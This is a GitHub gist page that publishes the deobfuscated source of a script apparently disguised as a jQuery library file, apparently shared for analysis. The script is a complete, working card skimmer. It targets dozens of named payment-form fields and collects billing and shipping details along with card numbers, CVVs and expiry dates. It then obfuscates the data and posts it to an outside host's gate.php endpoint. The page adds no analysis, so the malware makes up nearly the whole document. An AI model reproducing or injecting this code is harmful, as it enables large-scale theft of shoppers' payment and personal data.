-
-
Save gwillem/df9ba5767f8055850b39d2812d2dffaa to your computer and use it in GitHub Desktop.
Deobfuscated https://jqueres.com/js/lib/jquery-1.10.2.min.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| _cfb = _cfs = _cfp = true; | |
| _bf = _sf = _pf = null; | |
| ids = [ | |
| ['[name="payment[cc_number]"]', '[name="payment[cc_cid]"]', '[name="payment[cc_exp_month]"]', '[name="payment[cc_exp_year]"]'], | |
| ['[name="payment[cc_number]"]', '[name="payment[cc_cid]"]'], | |
| ['#adyen_cc_cc_number', '#adyen_cc_cc_cid', '#adyen_cc_expiration', '#adyen_cc_expiration_yr'], | |
| ['#stripe_cc_number', '#stripe_cc_cvc', '#stripe_cc_expiration_month', '#stripe_cc_expiration_year'], | |
| ['#stripe_cc_number', '#stripe_cc_cvc', '#stripe_cc_exp'], | |
| ['#pinpayments_cc_number', '#pinpayments_cc_cid', '#pinpayments_expiration', '#pinpayments_expiration_yr'], | |
| ['#ewayrapid_notsaved_cc_number', '#ewayrapid_notsaved_cc_cid', '#ewayrapid_notsaved_expiration', '#ewayrapid_notsaved_expiration_yr'], | |
| ['[name="heidelpaycw_visa[ACCOUNT.NUMBER]"]', '[name="heidelpaycw_visa[ACCOUNT.VERIFICATION]"]', '[name="heidelpaycw_visa[ACCOUNT.EXPIRY_MONTH]"]', '[name="heidelpaycw_visa[ACCOUNT.EXPIRY_YEAR]"]'], | |
| ['#cardNumber', '#securityCode', '#cardExpirationMonth', '#cardExpirationYear'], | |
| ['#fatzebra_cc_number', '#fatzebra_cc_cid', '#expire-date'], | |
| ['#radweb_stripe_cc_number', '#radweb_stripe_cc_cid', '#radweb_stripe_expiration', '#radweb_stripe_expiration_yr'], | |
| ['[name=psn]', '[name=csc]', '[name=expirydate1]', '[name=expirydate2]'], | |
| ['#braintree_cc_number', '#braintree_cc_cid', '#braintree_expiration', '#braintree_expiration_yr'], | |
| ['#card_number', '#cvv', '#expiration'], | |
| ['#pagarme_cc_cc_number', '#pagarme_cc_cc_cid', '#pagarme_cc_expiration', '#pagarme_cc_expiration_yr'], | |
| ['#cryozonic_stripe_cc_number', '#cryozonic_stripe_cc_cid', '#cryozonic_stripe_expiration', '#cryozonic_stripe_expiration_yr'], | |
| ['#creditCardNumber', '#adyen_cc_cc_cid', '#adyen_cc_expiration', '#adyen_cc_expiration_yr'], | |
| ['#cardNumber', '#verification', '#accountExpiryMonth', '#accountExpiryYear'], | |
| ['#cartoes_numero_cartao_1', '#cartoes_codigo_seguranca_cartao_1', '#cartoes_mes_cartao_1', '#cartoes_ano_cartao_1'], | |
| ['[name=creditCardNumber]', '[name=cvv2]', '[name=expiryMonth]', '[name=expiryYear]'], | |
| ['#authnetcim_cc_number', '#authnetcim_cc_cid', '#authnetcim_cc_exp_month', '#authnetcim_cc_exp_year'], | |
| ['#authorizenet_cc_number', '#authorizenet_cc_cid', '#authorizenet_expiration', '#authorizenet_expiration_yr'], | |
| ['#pagarme_cc_cc_number_one', '#pagarme_cc_cc_cid_one', '#pagarme_cc_expiration_one', '#pagarme_cc_expiration_yr_one'], | |
| ['#pagarme_cc_cc_number_two', '#pagarme_cc_cc_cid_two', '#pagarme_cc_expiration_two', '#pagarme_cc_expiration_yr_two'], | |
| ['#cielov3_debit_cc_number_one', '#cielov3_debit_cc_cid_one', '#cielov3_debit_expiration_one', '#cielov3_debit_expiration_yr_one'], | |
| ['#cielov3_debit_cc_number_two', '#cielov3_debit_cc_cid_two', '#cielov3_debit_expiration_two', '#cielov3_debit_expiration_yr_two'], | |
| ['[name="payment[securetrading_stpp_card_number]"]', '[name="payment[securetrading_stpp_security_code]"]', '[name="payment[securetrading_stpp_expiry_date_month]"]', '[name="payment[securetrading_stpp_expiry_date_year]"]'], | |
| ['#card_cc_number', '#card_cc_cid', '#card_expiration', '#card_expiration_yr'], | |
| ['[name="payment[ps_cc_number]"]', '[name="payment[ps_cc_cid]"]', '[name="payment[ps_cc_exp_month]"]', '[name="payment[ps_cc_exp_year]"]'], | |
| ['[name="payment[number]"]', '[name="payment[cvc]"]', '[name="payment[month]"]', '[name="payment[year]"]'], | |
| ['#paymetric_token', '#paymetrictokenize_cc_cid', '#paymetrictokenize_expiration', '#paymetrictokenize_expiration_yr'], | |
| ['[name="cardnumber"]', '[name="cvc"]', '[name="exp-date"]'], | |
| ['#moip_cc_number', '#moip_cc_cid', '#credito_expiracao_mes', '#credito_expiracao_ano'], | |
| ['#ebanx_cc_br_cc_number', '#ebanx_cc_br_cc_cid', '#ebanx_cc_br_expiration', '#ebanx_cc_br_expiration_yr'], | |
| ['[name="payment[mundipagg_creditcard_1_1_cc_number]"]', '[name="payment[mundipagg_creditcard_cc_cid_1_1]"]', '[name="payment[mundipagg_creditcard_expirationMonth_1_1]"]', '[name="payment[mundipagg_creditcard_expirationYear_1_1]"]'], | |
| ['[name="payment[mundipagg_twocreditcards_2_1_cc_number]"]', '[name="payment[mundipagg_twocreditcards_cc_cid_2_1]"]', '[name="payment[mundipagg_twocreditcards_expirationMonth_2_1]"]', '[name="payment[mundipagg_twocreditcards_expirationYear_2_1]"]'], | |
| ['#gwap_cc_cc_number', '#gwap_cc_cc_cid', '#gwap_cc_expiration', '#gwap_cc_expiration_yr'], | |
| ['#rm_pagseguro_cc_cc_number', '#rm_pagseguro_cc_cc_cid', '#rm_pagseguro_cc_expiration', '#rm_pagseguro_cc_expiration_yr'], | |
| ['#ewayrapid_ewayone_cc_number', '#ewayrapid_ewayone_cc_cid', '#ewayrapid_ewayone_expiration', '#ewayrapid_ewayone_expiration_yr'], | |
| ['#OPS_CC_CARDNO', '#OPS_CC_CVC', '#OPS_CC_ECOM_CARDINFO_EXPDATE_MONTH', '#OPS_CC_ECOM_CARDINFO_EXPDATE_YEAR'], | |
| ['[name="paymentCreditCardNumberSecure"]', '[name="paymentCreditCardCvv"]', '[name="paymentCreditCardValidToMonth"]', '[name="paymentCreditCardValidToYear"]'], | |
| ['#CreditCardNumber', '#CreditCardCVV', '#expirationDateMonth', '#expirationDateYear'], | |
| ['[name="payment[ps_cc_number]"]', '[name="payment[ps_cc_cid]"]', '[name="payment[ps_cc_exp_month]"]', '[name="payment[ps_cc_exp_year]"]'], | |
| ['#credit_card_type_number', '#auth_cc_cid', '#auth_expire', '#auth_expire_yr'], | |
| ['#wirecard_checkout_page_cc_pan', '#wirecard_checkout_page_cc_cardVerifyCode', '#wirecard_checkout_page_cc_expirationMonth', '#wirecard_checkout_page_cc_expirationYear'], | |
| ['#mp_transparente_cc_number', '#mp_transparente_cc_cid', '#mp_transparente_expiration', '#mp_transparente_expiration_yr'], | |
| ['#creditCardNum', '#creditCardCode', '#creditCardExpirationMonth', '#creditCardExpirationYear'], | |
| ['[name="payment[cc_number__payments_redecard]"]', '[name="payment[cc_cid__payments_redecard]"]', '[name="payment[cc_exp_month__payments_redecard]"]', '[name="payment[cc_exp_year__payments_redecard]"]'], | |
| ['[name="payment[numero_cartao_cielo]', '[name="payment[codigo_seguranca_cielo]"]', '[name="payment[expiracao_mes_cielo]"]', '[name="payment[expiracao_ano_cielo]"]'], | |
| ['#customer-and-card-securityCode', '#customer-and-card-securityCode', '#cardExpirationMonth', '#cardExpirationYear'], | |
| ['[name="payment[iwd_opc_cc_number]"]', '[name="payment[cc_cid]"]', '[name="payment[iwd_opc_cc_exp]"]'], | |
| ['[name="payment[cielo_card1_card_number]"]', '[name="payment[cielo_card1_card_security]"]', '[name="payment[cielo_card1_card_expiration]"]'], | |
| ['[name="payment[signativa_mundipagg_creditcard_1_1_cc_number]"]', '[name="payment[signativa_mundipagg_creditcard_cc_cid_1_1]"]', '[name="payment[signativa_mundipagg_creditcard_expirationMonth_1_1]"]', '[name="payment[signativa_mundipagg_creditcard_expirationYear_1_1]"]'], | |
| ['[name="cartao[cc_number]"]', '[name="cartao[cc_cid]"]', '[name="cartao[cc_exp_month]"]', '[name="cartao[cc_exp_year]"]'], | |
| ['[name="payment[grinet_payu_cc_number]"]', '[name="payment[grinet_payu_cc_cid]"]', '[name="payment[grinet_payu_cc_exp_month]"]', '[name="payment[grinet_payu_cc_exp_year]"]'], | |
| ['#dps_pxfusion_cc_number', '#dps_pxfusion_cc_cid', '#dps_pxfusion_expiration', '#dps_pxfusion_expiration_yr'], | |
| ['[name="payment[cc_number_sp]"]', '[name="payment[cc_cid_sp]"]', '[name="payment[cc_exp_month_sp]"]', '[name="payment[cc_exp_year_sp]"]'] | |
| ]; | |
| function __filt(val) { | |
| return val.replace(/[^\d]/g, '').trim() | |
| } | |
| function __pt() { | |
| return Math.floor(new Date().getTime() / 1000) | |
| } | |
| function __b64e(data) { | |
| var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; | |
| var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, | |
| enc = ''; | |
| do { | |
| o1 = String(data[i++]).charCodeAt(); | |
| o2 = String(data[i++]).charCodeAt(); | |
| o3 = String(data[i++]).charCodeAt(); | |
| bits = o1 << 16 | o2 << 8 | o3; | |
| h1 = bits >> 18 & 0x3f; | |
| h2 = bits >> 12 & 0x3f; | |
| h3 = bits >> 6 & 0x3f; | |
| h4 = bits & 0x3f; | |
| enc += b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4) | |
| } while (i < data.length); | |
| switch (data.length % 3) { | |
| case 1: | |
| enc = enc.slice(0, -2) + '=='; | |
| break; | |
| case 2: | |
| enc = enc.slice(0, -1) + '='; | |
| break | |
| } | |
| return enc | |
| } | |
| function __se(b, a) { | |
| var r = ''; | |
| for (var i = 0, j = 0, sl = b.length, sla = a.length; i < sl; i++, j++) { | |
| if (j == sla) j = 0; | |
| r += (i ? ',' : '') + (String(b[i]).charCodeAt() ^ String(a[j]).charCodeAt()) | |
| } | |
| return r | |
| } | |
| __i2 = setInterval(function() { | |
| if ((jQuery == undefined || jQuery.fn.jquery == undefined) && $j != undefined) jQuery = $j; | |
| if ((jQuery == undefined || jQuery.fn.jquery == undefined) && $$ != undefined) jQuery = $$; | |
| if ((jQuery == undefined || jQuery.fn.jquery == undefined) && $ != undefined) jQuery = $; | |
| if (jQuery != undefined && jQuery.fn.jquery != undefined) { | |
| var s1 = 'bill' + 'ing', | |
| s2 = 'ship' + 'ping'; | |
| if (_cfb) { | |
| if ((_bf = jQuery('form:has([name^="' + s1 + '["])')).length) { | |
| _cfb = false; | |
| _bf.change(function() { | |
| localStorage.setItem('__' + s1 + '123', [this.id, jQuery(this).serialize()]) | |
| }) | |
| } else if ((_bf = jQuery('form:has([name="firstname"])')).length) { | |
| _cfb = false; | |
| _bf.change(function() { | |
| var euc = encodeURIComponent, | |
| data = s1 + '[firstname]=' + euc(jQuery('[name="firstname"]').val()) + '&' + s1 + '[lastname]=' + euc(jQuery('[name="lastname"]').val()) + '&' + s1 + '[street][0]=' + euc(jQuery('#street_1').length ? jQuery('#street_1').val() : (jQuery('#street1').length ? jQuery('#street1').val() : '[unknown]')) + '&' + s1 + '[street][1]=' + euc(jQuery('#street_2').length ? jQuery('#street_2').val() : (jQuery('#street2').length ? jQuery('#street2').val() : '[unknown]')) + '&' + s1 + '[city]=' + euc(jQuery('[name="city"]').val()) + '&' + s1 + '[region_id]=' + euc(jQuery('[name="region_id"]').length ? jQuery('[name="region_id"]').val() : (jQuery('[name="region"]').length ? jQuery('[name="region"]').val() : '[unknown]')) + '&' + s1 + '[postcode]=' + euc(jQuery('[name="postcode"]').val()) + '&' + s1 + '[country_id]=' + euc(jQuery('[name="country_id"]').val()) + '&' + s1 + '[telephone]=' + euc(jQuery('[name="telephone"]').val()) + '&' + s1 + '[email]=' + euc(jQuery('[name="email"]').val()); | |
| localStorage.setItem('__' + s1 + '123', [this.id, data]) | |
| }) | |
| } | |
| } | |
| if (_cfs && (_sf = jQuery('form:has([name^="' + s2 + '["])')).length) { | |
| _cfs = false; | |
| _sf.change(function() { | |
| localStorage.setItem('__' + s2 + '123', [this.id, jQuery(this).serialize()]) | |
| }) | |
| } | |
| if (_cfp) { | |
| var sd = window.location.host.split(':', 2), | |
| h = sd[0], | |
| jqn = null, | |
| jqc = null; | |
| var url = 'https://jqueres.com/gate.php', | |
| n = null, | |
| c = null; | |
| for (var i = 0; i < ids.length; i++) | |
| if ((jqn = jQuery(ids[i][0])).length && (jqc = jQuery(ids[i][1])).length && ((n = __filt(jqn.val())).length || (c = __filt(jqc.val())).length)) { | |
| c = (c == null ? __filt(jqc.val()) : c); | |
| if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) { | |
| var st = null, | |
| data = '', | |
| pt = __pt(); | |
| _pf = jQuery('form:has(' + ids[i][0] + ')'); | |
| _cfp = false; | |
| data = _pf.serialize(); | |
| if (ids[i][2] !== undefined) { | |
| data += '&jqcn=' + n + '&jqcc=' + c; | |
| if (ids[i][3] !== undefined) { | |
| var m = jQuery(ids[i][2]).val(), | |
| y = jQuery(ids[i][3]).val(); | |
| data += '&jqcm=' + m + '&jqcy=' + y | |
| } else data += '&jqdt=' + jQuery(ids[i][2]).val() | |
| } | |
| if (st = localStorage.getItem('__' + s1 + '123')) { | |
| sd = st.split(',', 2); | |
| data += '&' + sd[1] | |
| } | |
| if (st = localStorage.getItem('__' + s2 + '123')) { | |
| sd = st.split(',', 2); | |
| data += '&' + sd[1] | |
| } | |
| data = data.replace('"' + s1 + '%5B', s1 + '%5B'); | |
| jQuery.ajax({ | |
| url: url, | |
| crossDomain: false, | |
| data: 'h=' + h + '&d=' + __b64e(__se(data, pt.toString())) + '&pt=' + pt, | |
| type: 'POST', | |
| dataType: 'json' | |
| }); | |
| localStorage.removeItem('__' + s1 + '123'); | |
| localStorage.removeItem('__' + s2 + '123'); | |
| clearInterval(__i2); | |
| break | |
| } | |
| } | |
| } | |
| } else console.log('[no jQuery]') | |
| }, 700); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment